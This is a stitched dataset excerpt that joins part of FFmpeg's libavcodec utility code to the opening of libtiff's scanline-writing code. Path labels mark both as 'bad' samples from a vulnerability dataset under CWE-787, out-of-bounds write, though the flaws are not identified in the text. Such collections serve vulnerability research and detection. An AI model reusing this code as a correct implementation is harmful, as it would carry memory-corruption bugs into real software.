32; case AV_CODEC_ID_PCM_F64BE: case AV_CODEC_ID_PCM_F64LE: case AV_CODEC_ID_PCM_S64BE: case AV_CODEC_ID_PCM_S64LE: return 64; default: return 0; } } enum AVCodecID av_get_pcm_codec(enum AVSampleFormat fmt, int be) { static const enum AVCodecID map[AV_SAMPLE_FMT_NB][2] = { [AV_SAMPLE_FMT_U8 ] = { AV_CODEC_ID_PCM_U8, AV_CODEC_ID_PCM_U8 }, [AV_SAMPLE_FMT_S16 ] = { AV_CODEC_ID_PCM_S16LE, AV_CODEC_ID_PCM_S16BE }, [AV_SAMPLE_FMT_S32 ] = { AV_CODEC_ID_PCM_S32LE, AV_CODEC_ID_PCM_S32BE }, [AV_SAMPLE_FMT_FLT ] = { AV_CODEC_ID_PCM_F32LE, AV_CODEC_ID_PCM_F32BE }, [AV_SAMPLE_FMT_DBL ] = { AV_CODEC_ID_PCM_F64LE, AV_CODEC_ID_PCM_F64BE }, [AV_SAMPLE_FMT_U8P ] = { AV_CODEC_ID_PCM_U8, AV_CODEC_ID_PCM_U8 }, [AV_SAMPLE_FMT_S16P] = { AV_CODEC_ID_PCM_S16LE, AV_CODEC_ID_PCM_S16BE }, [AV_SAMPLE_FMT_S32P] = { AV_CODEC_ID_PCM_S32LE, AV_CODEC_ID_PCM_S32BE }, [AV_SAMPLE_FMT_S64P] = { AV_CODEC_ID_PCM_S64LE, AV_CODEC_ID_PCM_S64BE }, [AV_SAMPLE_FMT_FLTP] = { AV_CODEC_ID_PCM_F32LE, AV_CODEC_ID_PCM_F32BE }, [AV_SAMPLE_FMT_DBLP] = { AV_CODEC_ID_PCM_F64LE, AV_CODEC_ID_PCM_F64BE }, }; if (fmt < 0 || fmt >= AV_SAMPLE_FMT_NB) return AV_CODEC_ID_NONE; if (be < 0 || be > 1) be = AV_NE(1, 0); return map[fmt][be]; } int av_get_bits_per_sample(enum AVCodecID codec_id) { switch (codec_id) { case AV_CODEC_ID_ADPCM_SBPRO_2: return 2; case AV_CODEC_ID_ADPCM_SBPRO_3: return 3; case AV_CODEC_ID_ADPCM_SBPRO_4: case AV_CODEC_ID_ADPCM_IMA_WAV: case AV_CODEC_ID_ADPCM_IMA_QT: case AV_CODEC_ID_ADPCM_SWF: case AV_CODEC_ID_ADPCM_MS: return 4; default: return av_get_exact_bits_per_sample(codec_id); } } static int get_audio_frame_duration(enum AVCodecID id, int sr, int ch, int ba, uint32_t tag, int bits_per_coded_sample, int64_t bitrate, uint8_t * extradata, int frame_size, int frame_bytes) { int bps = av_get_exact_bits_per_sample(id); int framecount = (ba > 0 && frame_bytes / ba > 0) ? frame_bytes / ba : 1; /* codecs with an exact constant bits per sample */ if (bps > 0 && ch > 0 && frame_bytes > 0 && ch < 32768 && bps < 32768) return (frame_bytes * 8LL) / (bps * ch); bps = bits_per_coded_sample; /* codecs with a fixed packet duration */ switch (id) { case AV_CODEC_ID_ADPCM_ADX: return 32; case AV_CODEC_ID_ADPCM_IMA_QT: return 64; case AV_CODEC_ID_ADPCM_EA_XAS: return 128; case AV_CODEC_ID_AMR_NB: case AV_CODEC_ID_EVRC: case AV_CODEC_ID_GSM: case AV_CODEC_ID_QCELP: case AV_CODEC_ID_RA_288: return 160; case AV_CODEC_ID_AMR_WB: case AV_CODEC_ID_GSM_MS: return 320; case AV_CODEC_ID_MP1: return 384; case AV_CODEC_ID_ATRAC1: return 512; case AV_CODEC_ID_ATRAC3: return 1024 * framecount; case AV_CODEC_ID_ATRAC3P: return 2048; case AV_CODEC_ID_MP2: case AV_CODEC_ID_MUSEPACK7: return 1152; case AV_CODEC_ID_AC3: return 1536; } if (sr > 0) { /* calc from sample rate */ if (id == AV_CODEC_ID_TTA) return 256 * sr / 245; else if (id == AV_CODEC_ID_DST) return 588 * sr / 44100; if (ch > 0) { /* calc from sample rate and channels */ if (id == AV_CODEC_ID_BINKAUDIO_DCT) return (480 << (sr / 22050)) / ch; } } if (ba > 0) { /* calc from block_align */ if (id == AV_CODEC_ID_SIPR) { switch (ba) { case 20: return 160; case 19: return 144; case 29: return 288; case 37: return 480; } } else if (id == AV_CODEC_ID_ILBC) { switch (ba) { case 38: return 160; case 50: return 240; } } } if (frame_bytes > 0) { /* calc from frame_bytes only */ if (id == AV_CODEC_ID_TRUESPEECH) return 240 * (frame_bytes / 32); if (id == AV_CODEC_ID_NELLYMOSER) return 256 * (frame_bytes / 64); if (id == AV_CODEC_ID_RA_144) return 160 * (frame_bytes / 20); if (id == AV_CODEC_ID_G723_1) return 240 * (frame_bytes / 24); if (bps > 0) { /* calc from frame_bytes and bits_per_coded_sample */ if (id == AV_CODEC_ID_ADPCM_G726) return frame_bytes * 8 / bps; } if (ch > 0 && ch < INT_MAX/16) { /* calc from frame_bytes and channels */ switch (id) { case AV_CODEC_ID_ADPCM_AFC: return frame_bytes / (9 * ch) * 16; case AV_CODEC_ID_ADPCM_PSX: case AV_CODEC_ID_ADPCM_DTK: return frame_bytes / (16 * ch) * 28; case AV_CODEC_ID_ADPCM_4XM: case AV_CODEC_ID_ADPCM_IMA_DAT4: case AV_CODEC_ID_ADPCM_IMA_ISS: return (frame_bytes - 4 * ch) * 2 / ch; case AV_CODEC_ID_ADPCM_IMA_SMJPEG: return (frame_bytes - 4) * 2 / ch; case AV_CODEC_ID_ADPCM_IMA_AMV: return (frame_bytes - 8) * 2 / ch; case AV_CODEC_ID_ADPCM_THP: case AV_CODEC_ID_ADPCM_THP_LE: if (extradata) return frame_bytes * 14 / (8 * ch); break; case AV_CODEC_ID_ADPCM_XA: return (frame_bytes / 128) * 224 / ch; case AV_CODEC_ID_INTERPLAY_DPCM: return (frame_bytes - 6 - ch) / ch; case AV_CODEC_ID_ROQ_DPCM: return (frame_bytes - 8) / ch; case AV_CODEC_ID_XAN_DPCM: return (frame_bytes - 2 * ch) / ch; case AV_CODEC_ID_MACE3: return 3 * frame_bytes / ch; case AV_CODEC_ID_MACE6: return 6 * frame_bytes / ch; case AV_CODEC_ID_PCM_LXF: return 2 * (frame_bytes / (5 * ch)); case AV_CODEC_ID_IAC: case AV_CODEC_ID_IMC: return 4 * frame_bytes / ch; } if (tag) { /* calc from frame_bytes, channels, and codec_tag */ if (id == AV_CODEC_ID_SOL_DPCM) { if (tag == 3) return frame_bytes / ch; else return frame_bytes * 2 / ch; } } if (ba > 0) { /* calc from frame_bytes, channels, and block_align */ int blocks = frame_bytes / ba; switch (id) { case AV_CODEC_ID_ADPCM_IMA_WAV: if (bps < 2 || bps > 5) return 0; return blocks * (1 + (ba - 4 * ch) / (bps * ch) * 8); case AV_CODEC_ID_ADPCM_IMA_DK3: return blocks * (((ba - 16) * 2 / 3 * 4) / ch); case AV_CODEC_ID_ADPCM_IMA_DK4: return blocks * (1 + (ba - 4 * ch) * 2 / ch); case AV_CODEC_ID_ADPCM_IMA_RAD: return blocks * ((ba - 4 * ch) * 2 / ch); case AV_CODEC_ID_ADPCM_MS: return blocks * (2 + (ba - 7 * ch) * 2 / ch); case AV_CODEC_ID_ADPCM_MTAF: return blocks * (ba - 16) * 2 / ch; } } if (bps > 0) { /* calc from frame_bytes, channels, and bits_per_coded_sample */ switch (id) { case AV_CODEC_ID_PCM_DVD: if(bps<4) return 0; return 2 * (frame_bytes / ((bps * 2 / 8) * ch)); case AV_CODEC_ID_PCM_BLURAY: if(bps<4) return 0; return frame_bytes / ((FFALIGN(ch, 2) * bps) / 8); case AV_CODEC_ID_S302M: return 2 * (frame_bytes / ((bps + 4) / 4)) / ch; } } } } /* Fall back on using frame_size */ if (frame_size > 1 && frame_bytes) return frame_size; //For WMA we currently have no other means to calculate duration thus we //do it here by assuming CBR, which is true for all known cases. if (bitrate > 0 && frame_bytes > 0 && sr > 0 && ba > 1) { if (id == AV_CODEC_ID_WMAV1 || id == AV_CODEC_ID_WMAV2) return (frame_bytes * 8LL * sr) / bitrate; } return 0; } int av_get_audio_frame_duration(AVCodecContext *avctx, int frame_bytes) { return get_audio_frame_duration(avctx->codec_id, avctx->sample_rate, avctx->channels, avctx->block_align, avctx->codec_tag, avctx->bits_per_coded_sample, avctx->bit_rate, avctx->extradata, avctx->frame_size, frame_bytes); } int av_get_audio_frame_duration2(AVCodecParameters *par, int frame_bytes) { return get_audio_frame_duration(par->codec_id, par->sample_rate, par->channels, par->block_align, par->codec_tag, par->bits_per_coded_sample, par->bit_rate, par->extradata, par->frame_size, frame_bytes); } #if !HAVE_THREADS int ff_thread_init(AVCodecContext *s) { return -1; } #endif unsigned int av_xiphlacing(unsigned char *s, unsigned int v) { unsigned int n = 0; while (v >= 0xff) { *s++ = 0xff; v -= 0xff; n++; } *s = v; n++; return n; } int ff_match_2uint16(const uint16_t(*tab)[2], int size, int a, int b) { int i; for (i = 0; i < size && !(tab[i][0] == a && tab[i][1] == b); i++) ; return i; } #if FF_API_MISSING_SAMPLE FF_DISABLE_DEPRECATION_WARNINGS void av_log_missing_feature(void *avc, const char *feature, int want_sample) { av_log(avc, AV_LOG_WARNING, "%s is not implemented. Update your FFmpeg " "version to the newest one from Git. If the problem still " "occurs, it means that your file has a feature which has not " "been implemented.\n", feature); if(want_sample) av_log_ask_for_sample(avc, NULL); } void av_log_ask_for_sample(void *avc, const char *msg, ...) { va_list argument_list; va_start(argument_list, msg); if (msg) av_vlog(avc, AV_LOG_WARNING, msg, argument_list); av_log(avc, AV_LOG_WARNING, "If you want to help, upload a sample " "of this file to ftp://upload.ffmpeg.org/incoming/ " "and contact the ffmpeg-devel mailing list. (ffmpeg-devel@ffmpeg.org)\n"); va_end(argument_list); } FF_ENABLE_DEPRECATION_WARNINGS #endif /* FF_API_MISSING_SAMPLE */ static AVHWAccel *first_hwaccel = NULL; static AVHWAccel **last_hwaccel = &first_hwaccel; void av_register_hwaccel(AVHWAccel *hwaccel) { AVHWAccel **p = last_hwaccel; hwaccel->next = NULL; while(*p || avpriv_atomic_ptr_cas((void * volatile *)p, NULL, hwaccel)) p = &(*p)->next; last_hwaccel = &hwaccel->next; } AVHWAccel *av_hwaccel_next(const AVHWAccel *hwaccel) { return hwaccel ? hwaccel->next : first_hwaccel; } int av_lockmgr_register(int (*cb)(void **mutex, enum AVLockOp op)) { if (lockmgr_cb) { // There is no good way to rollback a failure to destroy the // mutex, so we ignore failures. lockmgr_cb(&codec_mutex, AV_LOCK_DESTROY); lockmgr_cb(&avformat_mutex, AV_LOCK_DESTROY); lockmgr_cb = NULL; codec_mutex = NULL; avformat_mutex = NULL; } if (cb) { void *new_codec_mutex = NULL; void *new_avformat_mutex = NULL; int err; if (err = cb(&new_codec_mutex, AV_LOCK_CREATE)) { return err > 0 ? AVERROR_UNKNOWN : err; } if (err = cb(&new_avformat_mutex, AV_LOCK_CREATE)) { // Ignore failures to destroy the newly created mutex. cb(&new_codec_mutex, AV_LOCK_DESTROY); return err > 0 ? AVERROR_UNKNOWN : err; } lockmgr_cb = cb; codec_mutex = new_codec_mutex; avformat_mutex = new_avformat_mutex; } return 0; } int ff_lock_avcodec(AVCodecContext *log_ctx, const AVCodec *codec) { if (codec->caps_internal & FF_CODEC_CAP_INIT_THREADSAFE || !codec->init) return 0; if (lockmgr_cb) { if ((*lockmgr_cb)(&codec_mutex, AV_LOCK_OBTAIN)) return -1; } if (avpriv_atomic_int_add_and_fetch(&entangled_thread_counter, 1) != 1) { av_log(log_ctx, AV_LOG_ERROR, "Insufficient thread locking. At least %d threads are " "calling avcodec_open2() at the same time right now.\n", entangled_thread_counter); if (!lockmgr_cb) av_log(log_ctx, AV_LOG_ERROR, "No lock manager is set, please see av_lockmgr_register()\n"); ff_avcodec_locked = 1; ff_unlock_avcodec(codec); return AVERROR(EINVAL); } av_assert0(!ff_avcodec_locked); ff_avcodec_locked = 1; return 0; } int ff_unlock_avcodec(const AVCodec *codec) { if (codec->caps_internal & FF_CODEC_CAP_INIT_THREADSAFE || !codec->init) return 0; av_assert0(ff_avcodec_locked); ff_avcodec_locked = 0; avpriv_atomic_int_add_and_fetch(&entangled_thread_counter, -1); if (lockmgr_cb) { if ((*lockmgr_cb)(&codec_mutex, AV_LOCK_RELEASE)) return -1; } return 0; } int avpriv_lock_avformat(void) { if (lockmgr_cb) { if ((*lockmgr_cb)(&avformat_mutex, AV_LOCK_OBTAIN)) return -1; } return 0; } int avpriv_unlock_avformat(void) { if (lockmgr_cb) { if ((*lockmgr_cb)(&avformat_mutex, AV_LOCK_RELEASE)) return -1; } return 0; } unsigned int avpriv_toupper4(unsigned int x) { return av_toupper(x & 0xFF) + (av_toupper((x >> 8) & 0xFF) << 8) + (av_toupper((x >> 16) & 0xFF) << 16) + ((unsigned)av_toupper((x >> 24) & 0xFF) << 24); } int ff_thread_ref_frame(ThreadFrame *dst, ThreadFrame *src) { int ret; dst->owner = src->owner; ret = av_frame_ref(dst->f, src->f); if (ret < 0) return ret; av_assert0(!dst->progress); if (src->progress && !(dst->progress = av_buffer_ref(src->progress))) { ff_thread_release_buffer(dst->owner, dst); return AVERROR(ENOMEM); } return 0; } #if !HAVE_THREADS enum AVPixelFormat ff_thread_get_format(AVCodecContext *avctx, const enum AVPixelFormat *fmt) { return ff_get_format(avctx, fmt); } int ff_thread_get_buffer(AVCodecContext *avctx, ThreadFrame *f, int flags) { f->owner = avctx; return ff_get_buffer(avctx, f->f, flags); } void ff_thread_release_buffer(AVCodecContext *avctx, ThreadFrame *f) { if (f->f) av_frame_unref(f->f); } void ff_thread_finish_setup(AVCodecContext *avctx) { } void ff_thread_report_progress(ThreadFrame *f, int progress, int field) { } void ff_thread_await_progress(ThreadFrame *f, int progress, int field) { } int ff_thread_can_start_frame(AVCodecContext *avctx) { return 1; } int ff_alloc_entries(AVCodecContext *avctx, int count) { return 0; } void ff_reset_entries(AVCodecContext *avctx) { } void ff_thread_await_progress2(AVCodecContext *avctx, int field, int thread, int shift) { } void ff_thread_report_progress2(AVCodecContext *avctx, int field, int thread, int n) { } #endif int avcodec_is_open(AVCodecContext *s) { return !!s->internal; } int avpriv_bprint_to_extradata(AVCodecContext *avctx, struct AVBPrint *buf) { int ret; char *str; ret = av_bprint_finalize(buf, &str); if (ret < 0) return ret; if (!av_bprint_is_complete(buf)) { av_free(str); return AVERROR(ENOMEM); } avctx->extradata = str; /* Note: the string is NUL terminated (so extradata can be read as a * string), but the ending character is not accounted in the size (in * binary formats you are likely not supposed to mux that character). When * extradata is copied, it is also padded with AV_INPUT_BUFFER_PADDING_SIZE * zeros. */ avctx->extradata_size = buf->len; return 0; } const uint8_t *avpriv_find_start_code(const uint8_t *av_restrict p, const uint8_t *end, uint32_t *av_restrict state) { int i; av_assert0(p <= end); if (p >= end) return end; for (i = 0; i < 3; i++) { uint32_t tmp = *state << 8; *state = tmp + *(p++); if (tmp == 0x100 || p == end) return p; } while (p < end) { if (p[-1] > 1 ) p += 3; else if (p[-2] ) p += 2; else if (p[-3]|(p[-1]-1)) p++; else { p++; break; } } p = FFMIN(p, end) - 4; *state = AV_RB32(p); return p + 4; } AVCPBProperties *av_cpb_properties_alloc(size_t *size) { AVCPBProperties *props = av_mallocz(sizeof(AVCPBProperties)); if (!props) return NULL; if (size) *size = sizeof(*props); props->vbv_delay = UINT64_MAX; return props; } AVCPBProperties *ff_add_cpb_side_data(AVCodecContext *avctx) { AVPacketSideData *tmp; AVCPBProperties *props; size_t size; props = av_cpb_properties_alloc(&size); if (!props) return NULL; tmp = av_realloc_array(avctx->coded_side_data, avctx->nb_coded_side_data + 1, sizeof(*tmp)); if (!tmp) { av_freep(&props); return NULL; } avctx->coded_side_data = tmp; avctx->nb_coded_side_data++; avctx->coded_side_data[avctx->nb_coded_side_data - 1].type = AV_PKT_DATA_CPB_PROPERTIES; avctx->coded_side_data[avctx->nb_coded_side_data - 1].data = (uint8_t*)props; avctx->coded_side_data[avctx->nb_coded_side_data - 1].size = size; return props; } static void codec_parameters_reset(AVCodecParameters *par) { av_freep(&par->extradata); memset(par, 0, sizeof(*par)); par->codec_type = AVMEDIA_TYPE_UNKNOWN; par->codec_id = AV_CODEC_ID_NONE; par->format = -1; par->field_order = AV_FIELD_UNKNOWN; par->color_range = AVCOL_RANGE_UNSPECIFIED; par->color_primaries = AVCOL_PRI_UNSPECIFIED; par->color_trc = AVCOL_TRC_UNSPECIFIED; par->color_space = AVCOL_SPC_UNSPECIFIED; par->chroma_location = AVCHROMA_LOC_UNSPECIFIED; par->sample_aspect_ratio = (AVRational){ 0, 1 }; par->profile = FF_PROFILE_UNKNOWN; par->level = FF_LEVEL_UNKNOWN; } AVCodecParameters *avcodec_parameters_alloc(void) { AVCodecParameters *par = av_mallocz(sizeof(*par)); if (!par) return NULL; codec_parameters_reset(par); return par; } void avcodec_parameters_free(AVCodecParameters **ppar) { AVCodecParameters *par = *ppar; if (!par) return; codec_parameters_reset(par); av_freep(ppar); } int avcodec_parameters_copy(AVCodecParameters *dst, const AVCodecParameters *src) { codec_parameters_reset(dst); memcpy(dst, src, sizeof(*dst)); dst->extradata = NULL; dst->extradata_size = 0; if (src->extradata) { dst->extradata = av_mallocz(src->extradata_size + AV_INPUT_BUFFER_PADDING_SIZE); if (!dst->extradata) return AVERROR(ENOMEM); memcpy(dst->extradata, src->extradata, src->extradata_size); dst->extradata_size = src->extradata_size; } return 0; } int avcodec_parameters_from_context(AVCodecParameters *par, const AVCodecContext *codec) { codec_parameters_reset(par); par->codec_type = codec->codec_type; par->codec_id = codec->codec_id; par->codec_tag = codec->codec_tag; par->bit_rate = codec->bit_rate; par->bits_per_coded_sample = codec->bits_per_coded_sample; par->bits_per_raw_sample = codec->bits_per_raw_sample; par->profile = codec->profile; par->level = codec->level; switch (par->codec_type) { case AVMEDIA_TYPE_VIDEO: par->format = codec->pix_fmt; par->width = codec->width; par->height = codec->height; par->field_order = codec->field_order; par->color_range = codec->color_range; par->color_primaries = codec->color_primaries; par->color_trc = codec->color_trc; par->color_space = codec->colorspace; par->chroma_location = codec->chroma_sample_location; par->sample_aspect_ratio = codec->sample_aspect_ratio; par->video_delay = codec->has_b_frames; break; case AVMEDIA_TYPE_AUDIO: par->format = codec->sample_fmt; par->channel_layout = codec->channel_layout; par->channels = codec->channels; par->sample_rate = codec->sample_rate; par->block_align = codec->block_align; par->frame_size = codec->frame_size; par->initial_padding = codec->initial_padding; par->trailing_padding = codec->trailing_padding; par->seek_preroll = codec->seek_preroll; break; case AVMEDIA_TYPE_SUBTITLE: par->width = codec->width; par->height = codec->height; break; } if (codec->extradata) { par->extradata = av_mallocz(codec->extradata_size + AV_INPUT_BUFFER_PADDING_SIZE); if (!par->extradata) return AVERROR(ENOMEM); memcpy(par->extradata, codec->extradata, codec->extradata_size); par->extradata_size = codec->extradata_size; } return 0; } int avcodec_parameters_to_context(AVCodecContext *codec, const AVCodecParameters *par) { codec->codec_type = par->codec_type; codec->codec_id = par->codec_id; codec->codec_tag = par->codec_tag; codec->bit_rate = par->bit_rate; codec->bits_per_coded_sample = par->bits_per_coded_sample; codec->bits_per_raw_sample = par->bits_per_raw_sample; codec->profile = par->profile; codec->level = par->level; switch (par->codec_type) { case AVMEDIA_TYPE_VIDEO: codec->pix_fmt = par->format; codec->width = par->width; codec->height = par->height; codec->field_order = par->field_order; codec->color_range = par->color_range; codec->color_primaries = par->color_primaries; codec->color_trc = par->color_trc; codec->colorspace = par->color_space; codec->chroma_sample_location = par->chroma_location; codec->sample_aspect_ratio = par->sample_aspect_ratio; codec->has_b_frames = par->video_delay; break; case AVMEDIA_TYPE_AUDIO: codec->sample_fmt = par->format; codec->channel_layout = par->channel_layout; codec->channels = par->channels; codec->sample_rate = par->sample_rate; codec->block_align = par->block_align; codec->frame_size = par->frame_size; codec->delay = codec->initial_padding = par->initial_padding; codec->trailing_padding = par->trailing_padding; codec->seek_preroll = par->seek_preroll; break; case AVMEDIA_TYPE_SUBTITLE: codec->width = par->width; codec->height = par->height; break; } if (par->extradata) { av_freep(&codec->extradata); codec->extradata = av_mallocz(par->extradata_size + AV_INPUT_BUFFER_PADDING_SIZE); if (!codec->extradata) return AVERROR(ENOMEM); memcpy(codec->extradata, par->extradata, par->extradata_size); codec->extradata_size = par->extradata_size; } return 0; } int ff_alloc_a53_sei(const AVFrame *frame, size_t prefix_len, void **data, size_t *sei_size) { AVFrameSideData *side_data = NULL; uint8_t *sei_data; if (frame) side_data = av_frame_get_side_data(frame, AV_FRAME_DATA_A53_CC); if (!side_data) { *data = NULL; return 0; } *sei_size = side_data->size + 11; *data = av_mallocz(*sei_size + prefix_len); if (!*data) return AVERROR(ENOMEM); sei_data = (uint8_t*)*data + prefix_len; // country code sei_data[0] = 181; sei_data[1] = 0; sei_data[2] = 49; /** * 'GA94' is standard in North America for ATSC, but hard coding * this style may not be the right thing to do -- other formats * do exist. This information is not available in the side_data * so we are going with this right now. */ AV_WL32(sei_data + 3, MKTAG('G', 'A', '9', '4')); sei_data[7] = 3; sei_data[8] = ((side_data->size/3) & 0x1f) | 0x40; sei_data[9] = 0; memcpy(sei_data + 10, side_data->data, side_data->size); sei_data[side_data->size+10] = 255; return 0; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_3297_0
crossvul-cpp_data_bad_5478_2
/* $Id$ */ /* * Copyright (c) 1988-1997 Sam Leffler * Copyright (c) 1991-1997 Silicon Graphics, Inc. * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the names of * Sam Leffler and Silicon Graphics may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Sam Leffler and Silicon Graphics. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND, * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE * OF THIS SOFTWARE. */ /* * TIFF Library. * * Scanline-oriented Write Support */ #include "tiffiop.h" #include <stdio.h> #define STRIPINCR 20 /* expansion factor on strip array */ #define WRITECHECKSTRIPS(tif, module) \ (((tif)->tif_flags&TIFF_BEENWRITING) || TIFFWriteCheck((tif),0,module)) #define WRITECHECKTILES(tif, module) \ (((tif)->tif_flags&TIFF_BEENWRITING) || TIFFWriteCheck((tif),1,module)) #define BUFFERCHECK(tif) \ ((((tif)->tif_flags & TIFF_BUFFERSETUP) && tif->tif_rawdata) || \ TIFFWriteBufferSetup((tif), NULL, (tmsize_t) -1)) static int TIFFGrowStrips(TIFF* tif, uint32 delta, const char* module); static int TIFFAppendToStrip(TIFF* tif, uint32 strip, uint8* data, tmsize_t cc); int TIFFWriteScanline(TIFF* tif, void* buf, uint32 row, uint16 sample) { static const char module[] = "TIFFWriteScanline"; register TIFFDirectory *td; int status, imagegrew = 0; uint32 strip; if (!WRITECHECKSTRIPS(tif, module)) return (-1); /* * Handle delayed allocation of data buffer. This * permits it to be sized more intelligently (using * directory information). */ if (!BUFFERCHECK(tif)) return (-1); tif->tif_flags |= TIFF_BUF4WRITE; /* not strictly sure this is right*/ td = &tif->tif_dir; /* * Extend image length if needed * (but only for PlanarConfig=1). */ if (row >= td->td_imagelength) { /* extend image */ if (td->td_planarconfig == PLANARCONFIG_SEPARATE) { TIFFErrorExt(tif->tif_clientdata, module, "Can not change \"ImageLength\" when using separate planes"); return (-1); } td->td_imagelength = row+1; imagegrew = 1; } /* * Calculate strip and check for crossings. */ if (td->td_planarconfig == PLANARCONFIG_SEPARATE) { if (sample >= td->td_samplesperpixel) { TIFFErrorExt(tif->tif_clientdata, module, "%lu: Sample out of range, max %lu", (unsigned long) sample, (unsigned long) td->td_samplesperpixel); return (-1); } strip = sample*td->td_stripsperimage + row/td->td_rowsperstrip; } else strip = row / td->td_rowsperstrip; /* * Check strip array to make sure there's space. We don't support * dynamically growing files that have data organized in separate * bitplanes because it's too painful. In that case we require that * the imagelength be set properly before the first write (so that the * strips array will be fully allocated above). */ if (strip >= td->td_nstrips && !TIFFGrowStrips(tif, 1, module)) return (-1); if (strip != tif->tif_curstrip) { /* * Changing strips -- flush any data present. */ if (!TIFFFlushData(tif)) return (-1); tif->tif_curstrip = strip; /* * Watch out for a growing image. The value of strips/image * will initially be 1 (since it can't be deduced until the * imagelength is known). */ if (strip >= td->td_stripsperimage && imagegrew) td->td_stripsperimage = TIFFhowmany_32(td->td_imagelength,td->td_rowsperstrip); if (td->td_stripsperimage == 0) { TIFFErrorExt(tif->tif_clientdata, module, "Zero strips per image"); return (-1); } tif->tif_row = (strip % td->td_stripsperimage) * td->td_rowsperstrip; if ((tif->tif_flags & TIFF_CODERSETUP) == 0) { if (!(*tif->tif_setupencode)(tif)) return (-1); tif->tif_flags |= TIFF_CODERSETUP; } tif->tif_rawcc = 0; tif->tif_rawcp = tif->tif_rawdata; if( td->td_stripbytecount[strip] > 0 ) { /* if we are writing over existing tiles, zero length */ td->td_stripbytecount[strip] = 0; /* this forces TIFFAppendToStrip() to do a seek */ tif->tif_curoff = 0; } if (!(*tif->tif_preencode)(tif, sample)) return (-1); tif->tif_flags |= TIFF_POSTENCODE; } /* * Ensure the write is either sequential or at the * beginning of a strip (or that we can randomly * access the data -- i.e. no encoding). */ if (row != tif->tif_row) { if (row < tif->tif_row) { /* * Moving backwards within the same strip: * backup to the start and then decode * forward (below). */ tif->tif_row = (strip % td->td_stripsperimage) * td->td_rowsperstrip; tif->tif_rawcp = tif->tif_rawdata; } /* * Seek forward to the desired row. */ if (!(*tif->tif_seek)(tif, row - tif->tif_row)) return (-1); tif->tif_row = row; } /* swab if needed - note that source buffer will be altered */ tif->tif_postdecode( tif, (uint8*) buf, tif->tif_scanlinesize ); status = (*tif->tif_encoderow)(tif, (uint8*) buf, tif->tif_scanlinesize, sample); /* we are now poised at the beginning of the next row */ tif->tif_row = row + 1; return (status); } /* * Encode the supplied data and write it to the * specified strip. * * NB: Image length must be setup before writing. */ tmsize_t TIFFWriteEncodedStrip(TIFF* tif, uint32 strip, void* data, tmsize_t cc) { static const char module[] = "TIFFWriteEncodedStrip"; TIFFDirectory *td = &tif->tif_dir; uint16 sample; if (!WRITECHECKSTRIPS(tif, module)) return ((tmsize_t) -1); /* * Check strip array to make sure there's space. * We don't support dynamically growing files that * have data organized in separate bitplanes because * it's too painful. In that case we require that * the imagelength be set properly before the first * write (so that the strips array will be fully * allocated above). */ if (strip >= td->td_nstrips) { if (td->td_planarconfig == PLANARCONFIG_SEPARATE) { TIFFErrorExt(tif->tif_clientdata, module, "Can not grow image by strips when using separate planes"); return ((tmsize_t) -1); } if (!TIFFGrowStrips(tif, 1, module)) return ((tmsize_t) -1); td->td_stripsperimage = TIFFhowmany_32(td->td_imagelength, td->td_rowsperstrip); } /* * Handle delayed allocation of data buffer. This * permits it to be sized according to the directory * info. */ if (!BUFFERCHECK(tif)) return ((tmsize_t) -1); tif->tif_flags |= TIFF_BUF4WRITE; tif->tif_curstrip = strip; if (td->td_stripsperimage == 0) { TIFFErrorExt(tif->tif_clientdata, module, "Zero strips per image"); return ((tmsize_t) -1); } tif->tif_row = (strip % td->td_stripsperimage) * td->td_rowsperstrip; if ((tif->tif_flags & TIFF_CODERSETUP) == 0) { if (!(*tif->tif_setupencode)(tif)) return ((tmsize_t) -1); tif->tif_flags |= TIFF_CODERSETUP; } if( td->td_stripbytecount[strip] > 0 ) { /* Make sure that at the first attempt of rewriting the tile, we will have */ /* more bytes available in the output buffer than the previous byte count, */ /* so that TIFFAppendToStrip() will detect the overflow when it is called the first */ /* time if the new compressed tile is bigger than the older one. (GDAL #4771) */ if( tif->tif_rawdatasize <= (tmsize_t)td->td_stripbytecount[strip] ) { if( !(TIFFWriteBufferSetup(tif, NULL, (tmsize_t)TIFFroundup_64((uint64)(td->td_stripbytecount[strip] + 1), 1024))) ) return ((tmsize_t)(-1)); } /* Force TIFFAppendToStrip() to consider placing data at end of file. */ tif->tif_curoff = 0; } tif->tif_rawcc = 0; tif->tif_rawcp = tif->tif_rawdata; tif->tif_flags &= ~TIFF_POSTENCODE; /* shortcut to avoid an extra memcpy() */ if( td->td_compression == COMPRESSION_NONE ) { /* swab if needed - note that source buffer will be altered */ tif->tif_postdecode( tif, (uint8*) data, cc ); if (!isFillOrder(tif, td->td_fillorder) && (tif->tif_flags & TIFF_NOBITREV) == 0) TIFFReverseBits((uint8*) data, cc); if (cc > 0 && !TIFFAppendToStrip(tif, strip, (uint8*) data, cc)) return ((tmsize_t) -1); return (cc); } sample = (uint16)(strip / td->td_stripsperimage); if (!(*tif->tif_preencode)(tif, sample)) return ((tmsize_t) -1); /* swab if needed - note that source buffer will be altered */ tif->tif_postdecode( tif, (uint8*) data, cc ); if (!(*tif->tif_encodestrip)(tif, (uint8*) data, cc, sample)) return ((tmsize_t) -1); if (!(*tif->tif_postencode)(tif)) return ((tmsize_t) -1); if (!isFillOrder(tif, td->td_fillorder) && (tif->tif_flags & TIFF_NOBITREV) == 0) TIFFReverseBits(tif->tif_rawdata, tif->tif_rawcc); if (tif->tif_rawcc > 0 && !TIFFAppendToStrip(tif, strip, tif->tif_rawdata, tif->tif_rawcc)) return ((tmsize_t) -1); tif->tif_rawcc = 0; tif->tif_rawcp = tif->tif_rawdata; return (cc); } /* * Write the supplied data to the specified strip. * * NB: Image length must be setup before writing. */ 